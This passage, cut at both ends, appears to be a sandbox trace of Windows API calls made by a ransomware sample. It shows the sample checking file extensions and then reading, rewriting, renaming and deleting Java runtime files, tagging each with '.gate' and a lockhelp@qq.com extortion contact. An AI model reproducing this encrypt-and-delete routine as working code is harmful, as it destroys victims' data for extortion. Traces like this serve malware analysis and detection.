Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString=".zip") returned 4 [0292.582] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString=".rar") returned 4 [0292.582] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString=".bz2") returned 4 [0292.582] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString=".7z") returned 3 [0292.582] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString=".dbf") returned 4 [0292.582] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString=".1cd") returned 4 [0292.582] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString=".jpg") returned 4 [0292.582] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.582] lstrlenW (lpString=".doc") returned 4 [0292.582] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString=".docx") returned 5 [0292.582] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0292.582] lstrlenW (lpString=".pdf") returned 4 [0292.582] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0292.582] lstrlenW (lpString=".xls") returned 4 [0292.583] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString=".xlsx") returned 5 [0292.583] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0292.583] lstrlenW (lpString=".ppt") returned 4 [0292.583] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.583] lstrlenW (lpString=".zip") returned 4 [0292.583] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString=".rar") returned 4 [0292.583] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString=".bz2") returned 4 [0292.583] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString=".7z") returned 3 [0292.583] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.583] lstrlenW (lpString=".dbf") returned 4 [0292.583] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.583] lstrlenW (lpString=".1cd") returned 4 [0292.583] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0292.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0292.583] lstrlenW (lpString=".jpg") returned 4 [0292.583] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0292.583] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0292.583] lstrlenW (lpString="content-types.properties") returned 24 [0292.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.584] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5548) returned 1 [0292.584] CloseHandle (hObject=0x4c4) returned 1 [0292.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0292.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.584] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.584] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0292.585] GetLastError () returned 0x0 [0292.585] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x15ac, lpOverlapped=0x0) returned 1 [0292.717] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x15b0, lpOverlapped=0x0) returned 1 [0292.717] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.717] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x104, lpOverlapped=0x0) returned 1 [0292.718] SetEndOfFile (hFile=0x50c) returned 1 [0292.902] CloseHandle (hObject=0x50c) returned 1 [0292.904] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.904] SetEndOfFile (hFile=0x4c4) returned 1 [0292.907] CloseHandle (hObject=0x4c4) returned 1 [0292.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.907] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0292.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.908] lstrlenW (lpString=".doc") returned 4 [0292.908] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0292.908] lstrlenW (lpString=".docx") returned 5 [0292.908] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0292.908] lstrlenW (lpString=".pdf") returned 4 [0292.908] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0292.908] lstrlenW (lpString=".xls") returned 4 [0292.908] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0292.908] lstrlenW (lpString=".xlsx") returned 5 [0292.908] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0292.908] lstrlenW (lpString=".ppt") returned 4 [0292.908] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0292.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.908] lstrlenW (lpString=".zip") returned 4 [0292.908] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0292.908] lstrlenW (lpString=".rar") returned 4 [0292.908] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString=".bz2") returned 4 [0292.909] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString=".7z") returned 3 [0292.909] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString=".dbf") returned 4 [0292.909] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString=".1cd") returned 4 [0292.909] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString=".jpg") returned 4 [0292.909] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString=".doc") returned 4 [0292.909] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString=".docx") returned 5 [0292.909] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0292.909] lstrlenW (lpString=".pdf") returned 4 [0292.909] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString=".xls") returned 4 [0292.909] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString=".xlsx") returned 5 [0292.909] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0292.909] lstrlenW (lpString=".ppt") returned 4 [0292.909] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0292.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.909] lstrlenW (lpString=".zip") returned 4 [0292.910] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0292.910] lstrlenW (lpString=".rar") returned 4 [0292.910] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0292.910] lstrlenW (lpString=".bz2") returned 4 [0292.910] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0292.910] lstrlenW (lpString=".7z") returned 3 [0292.910] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0292.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.910] lstrlenW (lpString=".dbf") returned 4 [0292.910] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0292.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.910] lstrlenW (lpString=".1cd") returned 4 [0292.910] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0292.910] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0292.910] lstrlenW (lpString=".jpg") returned 4 [0292.910] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0292.910] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0292.910] lstrlenW (lpString="messages_es.properties") returned 22 [0292.910] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.911] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3600) returned 1 [0292.911] CloseHandle (hObject=0x4c4) returned 1 [0292.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0292.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0292.912] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.912] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.912] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0293.046] GetLastError () returned 0x0 [0293.046] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xe10, lpOverlapped=0x0) returned 1 [0293.106] WriteFile (in: hFile=0x534, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe20, lpOverlapped=0x0) returned 1 [0293.107] ReadFile (in: hFile=0x4c4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.107] WriteFile (in: hFile=0x534, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0293.107] SetEndOfFile (hFile=0x534) returned 1 [0293.107] CloseHandle (hObject=0x534) returned 1 [0293.108] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.108] SetEndOfFile (hFile=0x4c4) returned 1 [0293.110] CloseHandle (hObject=0x4c4) returned 1 [0293.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.111] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0293.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.113] lstrlenW (lpString=".doc") returned 4 [0293.113] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".docx") returned 5 [0293.113] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.113] lstrlenW (lpString=".pdf") returned 4 [0293.113] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".xls") returned 4 [0293.113] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".xlsx") returned 5 [0293.113] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.113] lstrlenW (lpString=".ppt") returned 4 [0293.113] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.113] lstrlenW (lpString=".zip") returned 4 [0293.113] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".rar") returned 4 [0293.113] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".bz2") returned 4 [0293.113] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.113] lstrlenW (lpString=".7z") returned 3 [0293.113] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString=".dbf") returned 4 [0293.115] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString=".1cd") returned 4 [0293.115] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString=".jpg") returned 4 [0293.115] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString=".doc") returned 4 [0293.115] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".docx") returned 5 [0293.115] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.115] lstrlenW (lpString=".pdf") returned 4 [0293.115] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".xls") returned 4 [0293.115] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".xlsx") returned 5 [0293.115] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.115] lstrlenW (lpString=".ppt") returned 4 [0293.115] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.115] lstrlenW (lpString=".zip") returned 4 [0293.115] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".rar") returned 4 [0293.115] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".bz2") returned 4 [0293.115] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.115] lstrlenW (lpString=".7z") returned 3 [0293.116] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.116] lstrlenW (lpString=".dbf") returned 4 [0293.116] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.116] lstrlenW (lpString=".1cd") returned 4 [0293.116] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0293.116] lstrlenW (lpString=".jpg") returned 4 [0293.116] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.116] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.116] lstrlenW (lpString="messages_ja.properties") returned 22 [0293.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.127] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6349) returned 1 [0293.127] CloseHandle (hObject=0x4b0) returned 1 [0293.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0293.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.228] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.229] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.229] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0293.229] GetLastError () returned 0x0 [0293.229] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x18cd, lpOverlapped=0x0) returned 1 [0293.359] WriteFile (in: hFile=0x4f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x18d0, lpOverlapped=0x0) returned 1 [0293.360] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.360] WriteFile (in: hFile=0x4f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0293.360] SetEndOfFile (hFile=0x4f8) returned 1 [0293.360] CloseHandle (hObject=0x4f8) returned 1 [0293.360] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.360] SetEndOfFile (hFile=0x518) returned 1 [0293.363] CloseHandle (hObject=0x518) returned 1 [0293.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.363] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0293.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.364] lstrlenW (lpString=".doc") returned 4 [0293.364] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".docx") returned 5 [0293.364] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.364] lstrlenW (lpString=".pdf") returned 4 [0293.364] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".xls") returned 4 [0293.364] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".xlsx") returned 5 [0293.364] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.364] lstrlenW (lpString=".ppt") returned 4 [0293.364] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.364] lstrlenW (lpString=".zip") returned 4 [0293.364] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".rar") returned 4 [0293.364] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".bz2") returned 4 [0293.364] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString=".7z") returned 3 [0293.364] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.364] lstrlenW (lpString=".dbf") returned 4 [0293.364] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".1cd") returned 4 [0293.365] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".jpg") returned 4 [0293.365] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString="C:\\Program 